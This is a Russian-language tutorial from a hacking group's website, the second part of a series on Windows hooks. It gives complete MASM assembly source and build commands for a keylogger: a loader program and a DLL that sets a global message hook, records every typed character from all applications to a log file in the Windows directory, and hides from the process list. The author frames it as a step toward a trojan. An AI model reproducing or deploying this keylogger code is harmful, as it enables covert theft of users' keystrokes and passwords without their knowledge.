Welcome to The Passion Of Code Laboratory!!!Статьи

Windows Hooks. Part 2

Автор: Bill Prisoner / TPOC

Здравствуйте дети! Заправившись только что кофеем дабы усыпить своё сонное состояние я решил написать вторую часть статьи про хуки мастдая. Как вы помните первая часть была чисто теоретическая, здесь будет только практика. Вы конечно должны знать теорию, чтобы приступить к практике. Так что для начала прочитайте первую часть. Как я обещал здесь мы напишем простой кейлогер на асме. Итак в путь…

Чтобы перехватывать события от всех приложений в системе мы установим глобальный хук. Тип хука – WH_GETMESSAGE. Проще говоря, всё что направляется любому приложению через функции GetMessage или PeekMessage мы будем перехватывать. Т.е. мы перехватываем много разных сообщений, но нам нужно только сообщение WM_CHAR. Функции перехвата передается параметр lParam. Это есть указатель на структуру MSG. Из этой структуры мы узнаем какое сообщение пришло окну и если это WM_CHAR, то обрабатываем его. В MSG.wParam для WM_CHAR находиться код нажатой клавиши.

Код процедуры перехвата мы размещаем в DLL, чтобы каждое приложение могло выполнить его. Благодаря DLL кейлогер вообще не виден в процессах. Его можно отследить смотря на загруженные в память динамические библиотеки. Выполняемый файл нужен для загрузки DLL в память. После загрузки процесс уничтожается. Если вы хотите передавать какую-нибудь информацию своему окну, то возможно вам может понадобиться хранить информацию о перехваченных событиях в DLL. Для этого секция данных DLL делается разделяемой. Но я в этой программе не делаю секцию разделяемой. Давайте посмотрим на код исполняемого файла:

.386p
.model flat,stdcall
option casemap:none
;----------------------IncludeLib and Include-----------------------
includelib f:\tools\masm32\lib\user32.lib
includelib f:\tools\masm32\lib\kernel32.lib
includelib f:\tools\masm32\lib\gdi32.lib
includelib f:\tools\masm32\lib\advapi32.lib
include f:\tools\masm32\include\windows.inc
include f:\Tools\masm32\include\proto.inc;этот файл я сделал сам, там содержаться прототипы функций
;----------------------End IncludeLib and Include-----------------------
.data
DLL db "Hook",0
FileName db "Hook.dll",0
NameProc1 db "InstallHook",0
.data?
hInstance dd ?
hHook dd ?
hDLL dd ?
.code
start:
push offset FileName
call LoadLibraryA@4;загружаем hook.dll в адресное пространство
mov hDLL,eax;сохраняем описатель DLL

push offset NameProc1
push hDLL
call GetProcAddress@8;в eax – адрес процедуры установки хука
push 12
call eax;устанавливаем хук
push 0
call ExitProcess@4;завершаем процесс
end start

 Все должно быть понятно. Единственное что может у вас вызвать вопрос – это что такое “push 12” и какой в этом смысл. Этим было просто продемонстрировано как передать что-то в DLL. Таким образом вы можете передать описатель окна hWnd и что-то типа того. Как вы можете видеть здесь производиться загрузка DLL вручную. Microsoft называет это «run-time dynamic linking». Другой метод загрузки DLL называется «load-time dynamic linking» когда DLL загружаются в адресное пространство при загрузке программы в память. Но это происходит только с библиотеками которые содержат экспортируемые функции. «Экспортируемые функции» в данном случае означает - те функции которые указаны в таблице экспорта PE файла. Вот код DLL:
 

.386
.model flat,stdcall
option casemap:none
;----------------------IncludeLib and Include-----------------------
includelib f:\tools\masm32\lib\user32.lib
includelib f:\tools\masm32\lib\kernel32.lib
includelib f:\tools\masm32\lib\gdi32.lib
includelib f:\tools\masm32\lib\advapi32.lib
include f:\tools\masm32\include\windows.inc
include f:\tools\masm32\include\proto.inc;этот файл я сделал сам, там содержаться прототипы функций
;----------------------End IncludeLib and Include-----------------
.data
LogFile db "\key.txt",0
hNum db 2
FileName db "\hook.dll",0
Patch1 db 255 dup (0)
Patch2 db 255 dup (0)
.data?
hFile dd ?
hInstance dd ?
hHook dd ?
hWnd dd ?
buffer dd ?
.code
DllEntry proc hInst:HINSTANCE, reason:DWORD, reserved1:DWORD
.if reason==DLL_PROCESS_ATTACH
push hInst
pop hInstance;сохраняем описатель DLL

push 255
push offset Patch2
call GetWindowsDirectoryA@8
push offset FileName
push offset Patch2;Patch1 - LogName
call lstrcatA@8

push offset Patch2
call LoadLibraryA@4

push 255
push offset Patch1
call GetWindowsDirectoryA@8
push offset LogFile
push offset Patch1
call lstrcatA@8; В Patch1 – имя файла лога
push 2
call InstallHook;инсталлируем хук в DLL
.endif
mov eax,TRUE
ret 12
DllEntry Endp

InstallHook proc
push ebp
mov ebp,esp
push ebx
push esi
push edi

push dword ptr [ebp+08h]
pop hWnd
push 0
push hInstance
push HookProc
push WH_GETMESSAGE
call SetWindowsHookExA@16
mov hHook,eax

pop edi
pop esi
pop ebx
pop ebp
ret 4
InstallHook endp
HookProc proc;процедура перехвата
push ebp
mov ebp,esp
push ebx
push esi
push edi

mov esi,dword ptr [ebp+10h]
add esi,4
cmp dword ptr [esi],WM_CHAR
jne x
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_ALWAYS
push 0
push 0
push GENERIC_WRITE
push offset Patch1
call CreateFileA@28;открываем наш лог файл для записи в него очередной нажатой клавиши
push eax
pop hFile

push FILE_END
push 0
push 0
push hFile
call SetFilePointer@16;ставим указатель в файле на конец

add esi,4
mov eax,dword ptr [esi]
mov buffer,eax;в переменной buffer – код нажатой клавиши

push 0
push offset hNum
push 2
push offset buffer
push hFile
call WriteFile@20;пишем код нажатой клавиши в конец файла
push hFile
call CloseHandle@4;закрываем файл

push [ebp+10]
push [ebp+0Ch]
push [ebp+8]
push hHook
call CallNextHookEx@16;после нашей обработки можно передать сообщение проге для которой оно предназначалось
x:
pop edi
pop esi
pop ebx
pop ebp
ret 12
HookProc endp
End DllEntry

Когда DLL загружается в адресное пространство процесса выполняется процедура DllEntry. В ней инсталлируется хук. Это может показаться странным, но иначе, сразу после завершения выполнения исполняемого файла хук уничтожается. Это происходит из-за того что при заверщении процесса все его открытые описатели закрываются. В данном случае уничтожается установленный хук. Допустим, что мы загрузили DLL и выходим из программы. Счетчик для нашей DLL поставится на ноль и она уничтожиться из адресного пространства процессов. Чтобы этого не случилось для каждого процесса мы загружаем отдельно DLL. Но на самом деле она не загружается, а просто счетчик увеличивается на единицу с каждым новым процессом. Необходимо чтобы DLL лежала в каталоге с Windows.

Содержимое DEF-файла для DLL:

LIBRARY Hook
EXPORTS HookProc
EXPORTS InstallHook

Компиляция

Exe:

masm32\bin\ml.exe /c /coff work.asm
masm32\bin\link.exe /SUBSYSTEM:WINDOWS work.obj


Dll:

masm32\bin\ml.exe /c /coff dll.asm
masm32\bin\link.exe /DLL /SUBSYSTEM:WINDOWS /DEF:dll.def /LIBPATH:f:\tools\masm32\lib dll.obj

Заключение

В этой небольшой статье было рассмтрено как использовать хуки на практике. Вообще хуки – это одна из самых мощных техник при программировании под Windows. Но чтобы эффективно их использовать надо как следует разобраться в этом. Чтобы разобраться первый шаг вы уже сделали- прочитали две мои статьи. Вторым шагом надо написать программу на ассемблере которая будет использовать другой тип хуков. Здесь мы сделали кейлогер который может нам пригодиться J. Вы заметили что exe-файл занимает 2.5 кБайта, а DLL – 3.5. Теперь осталось разобраться в работе сокетов в виндовс и у нас есть маленький Троян. Скоро в TPOC появятся новые люди и будут новые идеи и разработки…Удачи вам в потрошении вашего любимого масдая!
 

[C] Bill Prisoner / TPOC

Наши новости

Новые события из жизни нашей лаборатории

Статьи

Статьи и переводы лаборатории TPOC

Программы

Программы лаборатории TPOC

Релизы

Здесь мы сообщаем Вам, какие творения скоро появятся

Ссылки

Ссылки на сайты, где можно найти больше информации

Наша лаборатория

История нашей лаборатории и ее члены

Дата последнего обновления: 25 июля 2005 года
У вас есть предложения по нашему сайту?
Напишите сюда
Любимые сайты вирмейкеров:
(WASM)   (RSDN)